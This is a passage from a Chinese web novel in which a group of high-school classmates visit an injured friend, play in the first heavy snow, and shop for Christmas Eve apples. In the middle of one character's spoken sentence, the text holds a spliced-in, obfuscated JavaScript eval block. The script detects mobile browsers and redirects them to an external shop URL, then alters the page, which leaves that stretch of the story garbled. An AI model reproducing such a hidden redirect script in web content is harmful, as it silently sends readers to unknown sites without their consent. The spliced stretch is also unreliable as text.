张期期笑出“咔咔”声,却还不忘跑过去将东西拎过来放在茶几上。她拿出一个保温桶,“当当当~这是我们兰亭亲手做的骨头汤,喝哪补哪。” 张期期看了一眼林听的脚,又看了一眼许兰亭的手,“其实你俩应该一起喝的。” 林听、许兰亭面面相觑后突然笑了,他们这也算是有难同当了吧。 张期期将保温桶放下,又拎出来两袋水果。 林听皱了皱眉头,生怕是那种贵到离谱的进口水果,她连忙道:“汤我就收下了,水果你们自己拿回去吃吧。我这边靠近菜市场,想吃什么水果都可以买的。” 张期期不赞成地看了她一眼,见她眼神坚持,突然噗呲一笑,“我就知道你会这样子,你放心吧,都是普通的水果,像苹果、香蕉、橙子啊!” 她笑着将袋子解开,林听看过去,果然是普通的苹果、香蕉、橙子,她也就笑了。 张期期又拎出来两盒巧克力,在林听还未开口之前,她赶紧道:“这个我家里真的很多很多,我一个人真的吃不完,我还给兰亭也带了两盒呢!” 她双手合十,“拜托拜托,帮我解决掉它们吧,浪费食物是可耻的呢!” 林听见她讨饶般的模样,顿时笑了,她看了许兰亭、张期期一眼,认真道:“谢谢你们。” - 十五分钟后,林家奶奶回来了。她惊喜地看着眼眸带笑的女娃和上次见过的小男生,“哎呀,你们好啊!来看我们小听吗?” 张期期、许兰亭笑着和奶奶聊了起来,甚至帮忙在林听的家里折了一上午的纸盒子。 折纸盒子是林家奶奶平日里干的活,以此来补贴家用。 临近中午的时候,张期期和许兰亭便提出要回家了,林奶奶笑道:“中午留下来吃个饭再走好吗?” 张期期露出了为难的神色,“奶奶,我得回家陪我妈妈吃饭,我爸很忙,我妈经常一个人在家吃饭,所以……难得放假我得多陪陪我妈妈。” “奶奶,不好意思啊,下次吧下次我一定来。” 她这么说,林奶奶也不好强留了,便道:“乖孩子,真有孝心,是得多陪陪家里人啊。”她双手交叠着将张期期的手放在她手心里,笑着道,“好,那就下次。” “嗯,那奶奶、林听,我们先走了。” “等等……”林奶奶快步进了厨房,随后又拎出来三袋青枣,道:“这个青枣很甜很脆,拿回去吃啊。一人一袋,还有一袋给上次那个孩子,嗯……你哥哥。” 张期期、许兰亭笑着接过,异口同声道:“谢谢奶奶。” “诶!”林奶奶笑得眼睛都眯了起来,挥手和他们告别。 林听坐在轮椅上微微笑着,“路上小心。” “好。” 等张期期和许兰亭的身影消失在她们眼前时,林听伸手牵着林奶奶的手,“奶奶,你今天看起来很高兴啊。” 林奶奶笑着摸了摸林听的发顶,“是啊,奶奶很高兴,你交到了两个好朋友。眼神清明正直,和我们家小听一样,都是好孩子。” “奶奶~”林听拉着林奶奶的手贴在了自己的脸上,撒娇地唤着。 - 另一边,汽车上。 张期期笑得“贱兮兮”的,她用手肘捅了捅许兰亭的胳膊,“哎,你干嘛不在林听家吃饭啊,多好的机会表现表现自己嘛!” 许兰亭哼了一声,“那你呢?你不留下,我一个人留下?不合适吧。” 此刻,他想起那些在背后碎嘴的邻居,脸色顿时一阵难看。 张期期:“我不是说了吗?多陪陪我妈啊!” 许兰亭哦了一声,片刻后他道:“我们要是在她家吃饭,林奶奶肯定炒多个菜招待我们,但是……” 他指了指张期期,又指了指自己,道:“你、我,我们两个都不会做饭炒菜的,一点儿都帮不上忙,林听又伤了脚,你看林奶奶岁数那么大了,做一桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13236633|131569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭菜多累啊,反正我是没办法安心坐着等吃的。” 张期期双眼一亮,笑道:“哎……你说得对,我都没想到呢!你想得真周到!” 许兰亭哼笑一声:“呵……” “等等!”张期期骤然一顿,她狐疑地打量着许兰亭,“你不会做饭,那……骨头汤谁熬的?不是你亲手熬的吗?” 许兰亭尴尬地摸了摸后脑勺,“是我哥熬的。” 张期期白了他一眼,“敬亭哥真是给你当爹又当妈的,现在呢,还出力帮你追女孩子,真羡慕啊!” 许兰亭抿唇点头,神色认真,“嗯,我哥很好。” - 张期期手撑着下巴,看着窗外一闪而过的景色,她余光随意地瞥了一眼,视线突然定在那三袋青枣上。 她将三袋青枣拎了又拎,掂量了好几次之后选了其中一袋,拎在手上,“这一袋最重,我就要这袋。” 许兰亭有样学样,掂量着剩下的两袋,好半响才选出其中一袋稍微重一点的,“那这袋是我的。剩下的那袋给我哥。” 他将属于他哥的那一袋放在后排座位的中间,也就是他和张期期之间空着的座位上。 张期期重重点头。 汽车行驶在国道上,舒缓的音乐回荡在车内,后排座位上一只骨节分明的手悄悄地摸进了座位中间的袋子里,顺出了几颗青枣。 汽车拐了个弯,继续行驶,后排座位上一只骨节纤细却又带着微微肉感的手偷偷地摸进了座位中间的袋子里,顺出了几颗青枣。 …… 你来我也来,双方不甘示弱。 车子开进了皇家园林别墅,停在了张家院门前,张期期拎着明显比上车时重了的那一小袋子青枣下了车,她笑道:“李叔,帮我把兰亭送回家。” 李临点头,“好的。” “兰亭,拜拜。” “拜拜。” 双方神色皆是意味深长。 等汽车开到许家院门口时,许兰亭同样拎着一袋明显重于上车时的青枣和一个轻飘飘的袋子下了车。 许敬亭的车就停在院子内,许兰亭余光瞥了一眼,脸上顿时一阵心虚。 他一进家门就撞见他哥拿着水杯从楼上走下来,许敬亭看了他一眼,“回来了?” “嗯。”许兰亭点头,他走向楼梯准备上楼。 “等等……你拿着什么东西?”许敬亭喝着水,随口问道。 许兰亭脚步一滞,认命般地转过身来,他拎起袋子,道:“喏……你看,这是林奶奶送我的青枣。” 许敬亭瞥了一眼,“怎么两个袋子?” ……我哥眼睛真尖,许兰亭内心吐糟着,他顿了顿,艰难地道:“因为有一袋是你的。” 许敬亭眉眼一挑,伸手:“拿来。” 许兰亭突然嘿嘿大笑着,指尖一滑就将那袋轻飘飘的放在他哥的手掌心,随后他一溜烟地跑上了楼梯。 许敬亭攥着小袋子里唯一的一颗青枣,又看了一眼他弟弟手上拎着的满满一袋,顿时气笑了,“出息!” 他哼笑一声,将水杯放在桌上,又从小袋子拿出唯一的那颗青枣走进厨房洗了洗后,放在嘴边,“咔嚓”一声。 “还挺脆。”他道。 57. 第 57 章 - 持续一周的寒潮退去后,京照市的气温稍微回暖了一些,浓云散去,冬日的阳光带着些许的温煦。 大概一周后,林听伤了的双脚终于恢复好了,便回学校上课。至于许兰亭的胳膊则是在十二月一号的那一天请了趟假去医院第一次换药。 十二月一号,京照市开始供暖,冬日的第一场雪也洋洋洒洒地落了下来。 重点一班整间教室关得严严实实的,班里的学生脱得只剩下一件薄薄的衬衫,他们的椅子靠背处堆积着厚厚的羽绒服,这是出校门和教室门时需要披上的衣服。 上课铃声响起,张扬腋下夹着教案走进教室内,他一进教室便带进来了一阵凛冽的寒风。 坐在前门处的学生“嘶嘶嘶”地抖着,张扬一进门他立刻将门关上。 “班里怎么这么臭啊?”张扬皱起眉头,“把窗开一点儿,透透气。” 坐在窗边的学生不甘不愿地起身开了极小极小的一条缝。 张扬:…… 他哼了一声,又看见许兰亭的位置上空着人,想起来对方和他请了假去医院换药,脸色更是难看了。 窗外的大雪洋洋洒洒地落着,屋内温暖如春,冷气凝结窗玻璃上,从教室内看出去,外面的世界一片朦胧,但张扬刚刚从走廊走进来,他确切地知道外面的雪到底有多大。 下午估计要积雪了……张扬心道。 他将目光收回来,绷着脸道:“外面下大雪了,下雪天路很滑的,我警告你们啊,在外面的走廊,学校里,都不允许你们跑跑跳跳,很容易滑倒摔伤的,像许兰亭……” “你们看看他,伤了胳膊,至少要三个多月才能好。” 他的目光又落在林听身上,这是之前请了一周假的学生,张扬道:“还有在学校外也是如此,走路、骑行都要小心点,不要贪图快,伤了筋骨很麻烦的。不久后,就要期中考了,要是伤到了,落下学习,你们就给我去平行班里去。” 重点一班的学生噤若寒蝉,都知道张扬这一次是来真的了。 “好了,上课……”张扬翻开课本。 * 下课铃声响起,张扬警告似的全场巡视了一圈之后才离开教室。 陈恕手中攥着黑色水笔,肩脊绷直,他出神地望着窗外,哪怕窗外是一片灰蒙蒙,他依旧瞪大眼睛,仿佛穿过了时光,看到了记忆中的那一幕。 五岁那年的那一个冬天,第一场雪也是这么大,他冻得手通红,却还是不愿意撇下他堆好的小雪人进屋。 三岁的弟弟在屋内哇哇哇地大哭着,他妈妈却依旧轻声哄着他进屋。 那些甜蜜又夹杂着苦涩、绝望的情绪再一次涌上心头,他的记忆永远不会褪色,他的情绪永远无法缓解,时间对他来说,从来都不是一味良药。 …… “陈恕?”张期期双手捧着脸,反身坐在许兰亭的椅子上,她的手肘支在他的桌面上。 少女眨巴眨巴眼睛,“陈恕……你在看什么?” 陈恕嘴角抿了抿,眼眸低垂,“没什么。”他顿了顿,又补充上一句,“外面下雪了。” 张期期点头,“是啊,下雪了。” 陈恕没有再说话,握着黑色水笔低头刷试卷,张期期见状,便从自己的桌面上随意地扯了一张试卷,又一次反身坐在许兰亭的椅子上,和陈恕共用一张他的桌面,两人一起刷起试卷来。 一张桌子,两张试卷,教室内人声鼎沸,窗外茫茫寂静,大雪簌簌落下…… * 下午第一节课课后,许兰亭回来了。 张期期笑道:“你居然来上课了?我还以为你今天请了一整天的假呢?” 许兰亭嘴角抽搐,“换个药哪需要一整天。” 他将书包塞进桌柜里,突然神秘兮兮地道:“来,我考考你……你知道十二月二十四号是什么日子吗?” 张期期略一思索,肯定道:“西安事变。” 许兰亭一噎,想了想后倒也点了点头,他又道:“你再想想!” “不对吗?我记得是啊!”张期期神色凝重,再一思索,再次肯定道:“中华人民共和国恢复联合国合法席位。” 一旁的陈恕指尖微微动了动,也跟着看向许兰亭,他若有所思道:“虽然我们是理科生,但学过历史的都应该知道12月24日,是中国历史上承载着多重历史事件的特殊日子。” 说到学习问题,林听也转了过来,讨论道:“其实不止是期期说的那两个事件,还有“国耻日”也是在12月24日提出来的。” 张期期惊讶道:“是吗?你说的这个我还真不知道。” 许兰亭:……“停!” 他佯装“哀怨”道:“哎,原是我不配……” 张期期、林听噗嗤一声笑了出来,许兰亭看着他们道:“你们看着,我去给你们找标准答案。” 他说着走向周嘉先,“先哥,我来考考你啊。” 周嘉先一愣,察觉到几道炙热的眼神,他侧首望过去,张期期、林听和陈恕都在看着他。 ……什么难题啊?这三人这副“虎视眈眈”的模样。他咕咚咽了一下口水,“好,你放马过来。” 许兰亭:…… 在几人郑重其事的目光下,他的脸色越来越虚,半响后,他摸了摸后脑勺,小声道:“12月24号是什么日子?” 周嘉先眨了眨眼睛,不确定道:“平安夜?” 这话一落,许兰亭瞬间惊喜,他终于找到正常人了,少年用力鼓掌,“binggo,答对了!” 周嘉先一时不知道该不该高兴,这么简单的问题…… 他身边的许兰亭疯狂吐槽道:“原来还是有正常人的,先哥你不知道,我刚刚问他们三了,结果他们三和我扯……算了。” 许兰亭转身望向张期期几人,笑道:“现在知道答案了吧?平安夜……” 恰在此时,上课铃声响起,张期期哼笑一声,懒得看他,林听、陈恕也纷纷回过头。 许兰亭:……“不是,你们这么不捧场的吗?” 周嘉先拍了拍他的肩膀,“回去好好上课吧,尔等凡人是无法理解学神的世界的!” …… — 上午,张扬发了语文试卷给班里的学生做,下午第三节课下课后,张期期已经做得差不多了,只差一道古诗词她不太确定自己的答案是不是正确的。 她微微坐直身体,瞄了一眼前桌的林听,见对方还在写着前面的阅读题便不打算打扰对方了。 她又看向一旁的陈恕,平日里总是埋头奋笔疾书的少年今天却总是时不时地走神、发呆,张期期手撑着脸,指尖一点一点的触碰着太阳穴的位置。 片刻后,她悄悄地将椅子挪到了陈恕的身边。 陈恕一愣,收回望着窗外的目光,看向张期期,他抿了抿唇低声道:“怎么了?” 张期期撇了撇嘴,“我才想问你怎么了?你今天上课老是走神。” 陈恕沉默良久,摇了摇头,“也没什么事。”他见张期期目光灼灼地盯着他看,便补充说了句,“可能是天气太冷了吧,不太习惯。” ……这是他时隔十一年再次见到漫天飘雪的场景,维安市在东南地区,他被困在那连绵的大山中时看到的永远是遮天蔽日的连绵森林。 他说的是真的,他确实不太习惯了…… 张期期:……漏洞百出的话,哼。 她想起上瑶村安置房小区发生的那件事,陈恕就是京照市的人啊,京照市的冬天年年复年年,都是这样子的啊,有什么不习惯的…… 虽如此想着,但她也不想揭穿陈恕的谎言,张期期瞪着眼睛打量着陈恕看,左看右看,上看下看,直将对方看得坐立难安。 陈恕攥紧手心,心底有些恼羞,“怎么了?” 见他终于有了常人气愤的样子后,张期期这才满意了。刚才他浑身洋溢着飘忽的气息,仿佛淡泊得就要得道成仙,毫无少年人的朝气模样,她看了就觉得心慌不已,好似这个人总和她隔着一层,好似人间烟火永远无法沾染他…… 张期期眨了眨眼,就算他一副要飘然远去的模样,她也能将其拽下来,“我有一道语文题,不太确定答案,想和你讨论讨论。” ……学生嘛,肯定要学习! 陈恕顿了顿,“哪道?” 张期期将她桌面上的试卷扯过来,铺在他的桌面上,她指着一道古诗词,“你看这首古诗,它的问题是这首诗表达什么样的思想感情,而古诗里提到边疆、战士、又写女子在家中为上战场的丈夫缝制棉衣,所以一开始我写的表达女子对和平的向往和对丈夫的思念之情,但写来写去总觉得有点奇怪。” 陈恕皱起眉头,看了几遍古诗词,“嗯,好像你的答案不太正确。” “是吧……” 他们两在讨论着,林听刚好也写到那道题目,便也跟着走了过来,站在一旁听他们讨论。 周嘉先将黑板擦完,从讲台上下来时正好走过,也跟着凑了一眼,加入讨论,“啊,这道题啊,我也在犹豫……” 他们讨论无果,张期期抽起试卷,扯着陈恕的胳膊站起来,“走,我们去问问张老师。” 几人转战年级办公室,张期期敲了敲敞开的办公室门后率先进入,林听、陈恕、周嘉先也都跟着走进去,他们瞬间围住了张扬。 张期期将试卷平铺在张扬面前的办公桌上,“老师,这道题我们几个都搞不定。” 张扬眉眼一挑,抬头看了他们几人一眼,惊讶道:“还有你们四个都搞不定的题目?我来看看……” 他低头看着那道古诗词,好半响后都皱着眉头,“这道题确实很有歧义啊,很容易造成误解,那你们几个是怎么想的?” 张期期便将她的答案告诉了张扬,其他人也纷纷点头附和。 ……哎,团灭啊!张扬一听他们几个的答案,心中便叹了一口气,考到很容易表面有陷阱的古诗确实很有难度,毕竟现在的学生都不可能专门去研究古人的遣词造句等。 张扬摆摆手,“你们的答案是错的,这首古诗词表达的不是什么对在边疆打仗的丈夫的思念之情,而是闺阁女子对边疆战士的敬佩之情,以及不能像战士、将军一样远赴疆场的遗憾、惋惜。” 张期期几人再次细细品读着这首古诗后恍然大悟。 这时,许兰亭溜达溜达着走进了办公室,见张期期、林听、陈恕、周嘉先四人围着班主任张扬时,他顿时有些惊讶,怎么都在这里? 看着眼前的这一幕,他的目光下意识扫过班主任张扬日渐稀疏的发顶,然后他嘴一瓢,直接道:“四大派围攻光明顶?” 四大派之三的张期期、林听、周嘉先顿时惊愕,连连从张扬身边退开。 张期期眼疾手快地拉了陈恕一把。 “光明顶”张扬瞬间暴怒,“许兰亭!你说什么!”他一个箭步过去,将许兰亭拽住了。 混乱之中,张期期赶紧道:“老师,我们先走了。” 几乎是话刚说完,几人瞬间撒腿就跑,张期期将呆愣在原地,还不知道发生了什么的陈恕拉着远离了“第一战场”。 身后的年级办公室传来张扬暴怒的声音,以及许兰亭连连不断的道歉声…… 张期期、林听、周嘉先哈哈大笑着,笑得身体直抽抽。 “不是……兰亭他怎么敢的?他居然敢在张老师面前说他光明顶!” “噗呲……哈哈哈……” 一旁处于状况外的陈恕:…… 他眼神无奈地看着张期期大笑,张期期笑着笑着突然发现陈恕一脸淡然,她“嗯?”了一声,“不好笑吗?” 陈恕抿唇,“那你告诉我,你们在笑什么?” 张期期一顿,眼神探究地看着对方。 见状,林听、周嘉先对视一眼,默契地、静悄悄地离开了…… 走廊上空空荡荡的,只剩下寒风呼呼地吹着,偶尔有些许的雪花飘洒伴随着寒风飘洒进来。 少年垂在两侧的指尖微微攥紧,他以为自己融入了他们之间,可是偶尔他们谈论着的“平安夜”,哈哈大笑着的“四大派围攻光明顶”,对他来说却是满脑子的空白。< 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他身上那种低沉的气息霎那间消失得无影无踪,整个人局促不安,他抿了抿,干巴巴拒绝道:“小说就不用了吧……我、我不看小说的。” 说着,他像是生怕张期期黏着他非要他看一样,立刻转移话题道:“我们回教室吧,这里太冷了……” 张期期眼珠子滴溜溜地转,一边走一边看着陈恕,“你很不对劲哦~” 这话一落,陈恕耳后的红霞立刻漫延到他的脖子,那本他看过的小说里面的字字句句立刻浮现在他的脑海里。 与此同时,他当时的情绪席卷在他的心头上,无地自容、窘迫、羞涩……陈恕几乎就要落慌而跑了。 他深深闭了闭眼,强制自己回想课本上的内容,片刻后,他的心情稍微缓解了,他却还是生怕她再提及便问道,“那平安夜呢?平安夜是什么?我想知道。” 此刻他的语速快得不可思议,张期期眨了眨眼睛,“平安夜啊……”她扯住他的胳膊,陈恕脚步一顿,两两相望之下,张期期眼眸中仿佛闪着细碎的光芒,她道:“到时候你就知道了。” 说完她快步走回了教室,陈恕顿了片刻,抬腿跟上。 * 京照市冬日的第一场雪连续下了一整天,从洋洋洒洒的飘雪变成大团大团砸下来的暴雪,到下午放学的时候,积雪已经有小腿那么深了。 学校紧急让校内的保安、园林护工等进行铲雪,务必要在学生放学之前铲除一条可供行走的道路。 放学铃声一响,张扬紧急地从办公室赶过来教室,在班级里再三再四地嘱咐他们注意安全,慢速!慢速!慢速骑自行车…… 等张扬苦口婆心地说了五分钟之后,重点一班的学生才得以离开教室。 张期期、陈恕、林听、许兰亭和周嘉先几人是最先走出教室,重点一班的同学三三两两地走在他们后面。 从教学楼走到学校主干校道再走出校园需要经过一个长长的下坡路,许兰亭心不在焉地走着,他正寻思着过几天平安夜、圣诞节应该怎么过。 这么想着时,他突然脚下一滑,与此同时,他的耳边响起张期期、林听的惊叫声,站在他左前方的陈恕、周嘉先猛然转身,脸色大变,他看见他们两人伸出了手臂想要抓紧他。 这一幕快速在他眼前闪现,但他“砰”的一声坐在了地上,他的视线猛然降低…… 然后……他就以一屁股坐在地上的姿势从下坡路一溜烟地滑了下去……就像小孩子滑滑滑梯一样……他极速地越过了下坡路上的其他同学,一路顺畅地滑到底。 两旁的同学惊讶地为他驻足,惊喜地喊叫出声,“哇~” 许兰亭一脸懵地从地上站起来,而下坡路上的学生们开始此起彼伏地哇哇叫起来…… 面对此情此景,许兰亭硬是扛着冰冷的屁股,用他那只没受伤的胳膊做了个完美的舞台谢幕鞠躬礼。 被吓得白着一张脸的林听、张期期、陈恕:…… 一向温和的周嘉先忍不住又气又笑:“艹!” 重点一班走在后头的同学并没有看见许兰亭是摔了一跤才滑下去,还以为他是借着铲完雪像滑冰场一样顺滑的下坡路地势玩闹着滑下去的。 王思哈哈大笑着连忙跑到前面,“亭哥~我来也~” 他蹲在地上,双手按着地往后一推就将自己送着滑了出去,少年哈哈大笑的声音徜徉在在场每个人的心头。 看着王思也安全顺畅地滑倒最底端,张期期眼眸一亮,“好像好好玩啊!” 她牵着林听的手走到最前面蹲下来,“我们也来试试……”两人排排蹲在地上,张期期、林听你看看我我看看你,四目相对。 张期期眼眸一亮,“不行,我们换个位置,你往我身后排,林听你双手拉着我的衣服,就像火车一节节连着一样,懂吗?” 被迫强行营业的林听只能站起身,像张期期说的那样蹲在了她的身后,她伸手抓住了林听的校服棉服。 “抓紧了吗?”张期期笑着问道。 “嗯!”林听攥紧,一脸舍命陪君子的神情。 张期期双手按在地上往后一推,整个人被送着滑了出去,“哇~” 少女们飞驰而过,棉服在寒风中鼓起,林听骤然笑了出来……是真的好好玩啊! 她们安全到达了下坡路的底端,这一幕就像是一键按住了开关一样,全场的学生们备受启发,原来还能这样玩啊…… “谁!谁来和我组队!我要当火车头!” “来来来,我来……” “加上我,兄弟!” “我可以加入吗?”女生温声细语道。 “行啊!你抓紧我的衣服就是!” “……” 长长的滑坡上,这一刻虽然他们谁也不认识谁,但却没有班级、年级、男女之分,他们玩闹成一团,组起了长长的火车,一个攥着一个的衣服,从滑坡上飞驰而下,笑声徜徉着,飘向天空。 这是一群人的青春,他们摆脱了沉重的学业,沉浸在这一刻无比欢愉,属于少年少女们的青春在这个冬日雪后有了短暂的交集…… 58. 第 58 章 - 许兰亭从书包里拿出了一件多余的外套,将外套围在臀部,外套的袖子被他交叉打结着绑在腰前。他站在下坡路的最底端眉眼带笑地看着林听、张期期欢笑着滑到了他的身前。 两人从地上站起来,张期期:“兰亭,你没事吧?” 虽然她刚刚已经看到了他的骚操作,但不问问还是不安心。 林听也神色认真地望着他,她虽然没有开口,但她的神情明显可见也是十分担心的。 许兰亭笑了笑,挠挠头,“我没事啊。” 张期期上上下下、左左右右,甚至凑过去看了一眼他吊着的胳膊,“嗯……确实没事。”她看了林听、许兰亭一眼,笑着跑开了,“我去找陈恕啦。” 她从下坡路的最底端艰难地往上走,入目所及的是一长串一长串的人造火车。 侯蕊、王思、蒋文、雷婷等等重点一班的同学边滑着“小火车”,边哈哈大笑,有的甚至和路过的张期期打着招呼。 张期期赶紧走到了边缘上,生怕被他们给带着滑下去了。 她哼哧哼哧地跑到了上边,周嘉先和陈恕两人正站在边缘处讨论着物理题目。 张期期喘着粗气走到他们面前,“陈恕,先哥,你们俩怎么不玩?” 周嘉先看了一眼长长的滑坡,“人太多了,道路拥堵。让他们先玩呗。” 陈恕抿了抿唇,“你玩就好。” 置身于冰天雪地之中,他总会想起小时候在雪中玩闹的情景,可如今妈妈去世,弟弟不知所踪迹,他有什么资格玩,沉重的负罪感压得他喘不过气。 张期期一顿,又是这样充满悲伤自厌的眼神,她深深吸了口冰凉的空气,攥起他的手,不容置疑地道,“一起玩,你跟在我身后,攥着我的衣服。” 她将他拉到下坡路的最上端前方,扯着他的胳膊让他蹲下,而她自己则是蹲在他的身前。 “准备好了吗?”张期期笑着喊道。 陈恕还未回答时,却感觉身后有人攥住了他的衣服,他回头,周嘉先蹲在他身后对着他笑了笑,他甚至还看见周嘉先的身后也蹲着好长一排人,有他们重点一班的关宇、顾佳熹等等,还有他不认识的其他同学。 “准备好了吗?”张期期再次大声喊道。 陈恕的身后响起异口同声的“准备好了”! 他微微一顿,终于伸出了攥紧了前方少女的校服棉服,他低声道:“准备好了!” 张期期嘴角微扬,感受到身后衣服传来的拉扯感,她大喊道:“出发!” “哇——” “哈哈哈——” “太好玩啦!” “……” 下坡路的两旁是连排的干枯树木,树干上压着厚厚的雪,寒风吹起,厚厚的雪团噗呲噗呲地砸落下来。 陈恕垂眼望着自己攥着身前少女的手,嘴角不可自控地微微上扬,他处在欢声笑语中,好像自己也沾染上了他们的一丝欢快。 他身前的少女突然大声唱起了歌,“小火车嘟嘟嘟,开在成长的旅程,无论风和雨,都是难忘的礼物。” “小火车嘟嘟嘟,开往幸福的国度,我要把一路的风景都记住……” 听到歌声,其他一长串的“火车”有人嚷嚷道:“不行,我们也唱,不唱没有排面啊!我们的火车也会嘟嘟嘟!” 可惜,会唱儿歌《小火车嘟嘟嘟》的人并不多,于是现场此起彼伏地响起各种各样的模仿火车行驶发出的声音,他们疯狂地“嘟嘟嘟”着…… 这么一嘟就把学校教导主任给嘟来了……教导主任顺着嘈杂的欢笑声、嘟嘟声小跑着找过来,当看清眼前仿佛滑雪场再现的这一幕时,他的血压蹭蹭蹭地往上。 “干什么呢?你们……咳咳咳……”教导主任一张口就被灌了一嘴的寒风。 “教导主任来了,教导主任来啦……”机灵的学生看见教导主任时立刻喊道,喊声震天,徘徊在下坡路来来回回滑着的学生们顿时一溜烟滑着跑远了。 七八串长长的人造“火车”争相往下滑着,滑着滑着,甚至有撞车抱成一团的滑了下去…… 教导主任捂着心口,“慢点慢点啊!哎呦……”我的脆皮学生啊! 张期期、陈恕、周嘉先到达了下坡路的最底端,与林听、许兰亭汇合,少年少女们脸上带着红晕,不知道是被风吹的,还是笑出来的…… 张期期眼眸盛满了笑意,她看了一眼身旁的陈恕,少年嘴边带着丝丝笑意。 ……总算有点人样了。张期期心道。 几人说说笑笑地经过学校停车棚外面,林听、陈恕往车棚内走去,片刻后就将自行车推了出来。 周嘉先看着两人道:“你们俩路上骑自行车小心点啊,速度慢一点。” 陈恕、林听点了点头。 他们走到了学校门口,周嘉先率先和他们告别后走路离开了,张期期也上了车,最后在许兰亭忧心忡忡的目光下,林听、陈恕骑上自行车离开了…… * 京照市的道路两侧,穿着橘黄色马甲和反光衣的环卫工人以及政府部门的一线员工都在奋力地进行铲雪任务。 每一个社区分管一部分道路,国道等主干街道上已经铲出了一条能够通行的道路。 汽车慢速移动着,陈恕骑着自行车穿行在车流之中,远处响起了一阵汽车的鸣笛声,他不由地想起了张期期唱的那首儿歌,嘟嘟嘟…… 那是……儿歌《小火车嘟嘟嘟》,时隔十一年,他从喜欢的女孩子口中再次听到了这首歌,他眼神带着克制的怀念,年幼时他最爱的就是这首歌,他妈妈教过他,他在大山中无数次产生幻听,听到他妈妈唱着。 “火车轰隆隆,带我探险 能量加满,绕地球一个圈 我一路凭借心中勇敢 沿着地平线 加速行驶勇往直前 越过雪山 路过茂密森林 经过海底隧道 穿过层层白云 ……” 少年嘴唇轻轻翁动,他骑着自行车,低声吟唱着…… 妈妈,我是不是要像你唱的这样,要越过大山,穿过云海,才能得到平静,找到心之归处。 * 十二月二十三号。 午休结束的铃声响起,班里的同学大部分依旧还趴在课桌上睡着,陈恕、林听同样如此。 张期期见状,顺了顺睡得凌乱的发丝后,她悄悄地走过去戳戳了许兰亭的手臂,许兰亭张口无声问道:“怎么了?” 张期期扯着对方,示意他跟着她走出教室。 许兰亭一脸的抗拒,然而在张期期的眼神威逼之下,他只好穿上厚厚的羽绒服跟着她走到教室外的走廊。 一出门,寒风吹了他一个透心凉。 “嘶……好冷啊,有什么事不能教室里说。”许兰亭抖着脚道。 “大家都在睡觉啊!”张期期白了他一眼,片刻后,她神秘兮兮道:“上次你和我说,隔壁班的班长这次平安夜准备给班里的同学都送苹果,这个消息准确吗?” 许兰亭眉眼一挑,兴奋道:“当然准确,我在男厕所偷听到的,他们班长准备给他们班的同学一个惊喜。” 张期期两手一拍,“既然这样!隔壁班有的,我们班也要有。不然明天我们班的同学那不得眼巴巴地看着别人吗?” 许兰亭狠狠点头,“我也是这样想的!” ……上一次平安夜,他送林听苹果却被拒绝了,这一次全班都有,她应该就不会拒绝了吧? 张期期若有所思,“嗯……我们再拉一个人来。” “谁啊?”……她该不会要叫林听吧?许兰亭正想反对。 “当然是先哥啊!先哥不是班长吗?我们俩可不能越俎代庖!” 许兰亭松了一口气,“好,我现在就去叫他出来。” 周嘉先悄悄地进了教室,将还在午睡的周嘉先叫醒,周嘉先眼神无奈,穿好棉服跟着他走了出去。 “说吧,什么事啊,这么神神秘秘的?” 许兰亭恨铁不成钢地看了他一眼,“别人班的班长都卷起来,你还在睡大觉!” 周嘉先:? 许兰亭这才将隔壁班平安夜的准备复述了一遍,“所以我们也打算给班里的同学一个惊喜!” 周嘉先点了点头,“唔……也可以吧……”话说到一半,他突然意识到一件事,“可是……我们班费这学期好像没交,上一年的都用完了啊!” 他两手一摊,“没钱!” 出师未捷身先死啊!许兰亭顿时耷拉着眉眼。 张期期双手抱胸,歪了歪头,笑嘻嘻道:“钱啊!我有呀!” 许兰亭、周嘉先对视一眼,默契地比了个大拇指,他们笑道,“期姐!大气!” 事情就这么说定了,张期期和许兰亭、周嘉先约定放学后去金河湾商场购买苹果、礼盒、糖果、巧克力等。 下午放学后,张期期、许兰亭在林听、陈恕的眼前分别上了自家的汽车,汽车开了一段路程后又悄悄地返回到一中的校门口。 陈恕、林听已经骑着自行车离开了一中门口。 这时,背着书包的周嘉先躲在学校花坛后,他估摸着时间差不多了便悄悄地探出了头。 他的目光与正从车上下来的张期期、许兰亭对上,随即笑了笑,站直起身后故作模样地拍了拍身上的灰层,仿佛一副“深藏功与名”的样子。 周嘉先走出校门,“走啦!” 许兰亭和家里的司机叔叔说了一声后,跟着张期期、周嘉先上了张家的汽车,汽车飞驰着往金河湾商场而去。 * 平安夜后就是圣诞节,许是节日临近的原因,金河湾商场附近人声鼎沸,到处装扮一新,圣诞的气息非常浓重。 李叔在金河湾商场附近将他们三人放下了车,前面的路已经堵住了,走路甚至比汽车还快。 到了商场里面,人潮更是拥挤,张期期带着周嘉先、许兰亭直奔商场的鲜果店,没想到鲜果店内也是密密麻麻的人群。 张期期挤到前台,“您好,请问苹果还有吗?” ……苹果是很常见的水果,一般来说,只要到鲜果店内一眼就能看见货架上就摆放着,但今日她却没看见。 要不要这么畅销啊!张期期内心吐槽。 店员嘴角扬起礼节性的笑容,“女士,请问您有预定吗?” 这时许兰亭、周嘉先都挤到了前台,闻言,三人面面相觑,现在苹果都要预定了吗? 店员见三人的脸色,便猜到了结果,她笑着道:“没有预定的话,我们已经卖完了哦!” 张期期&周嘉先&许兰亭:…… 三人从鲜果店内挤出来,又跑了好几家商场内的水果店,苹果都是卖完了的。 他们面面相觑,周嘉先道:“现在怎么办?” 张期期想了想,“我们去附近的水果摊看看吧,特别是老人家的水果摊上可能有!” 她逛了好几家商场的水果店后发现商家都是将苹果一个个打包装进红色的小礼盒里面,做成小礼物售卖出去,这样的形式更多的是年轻男女买单,而年轻男女在特殊的节日大概率也会选择去商场买,而不是街头的小摊子。 此外,用人单位和大公司也会和这些商场的水果店下订单给公司员工分发小礼物过节,体现公司的人文关怀。 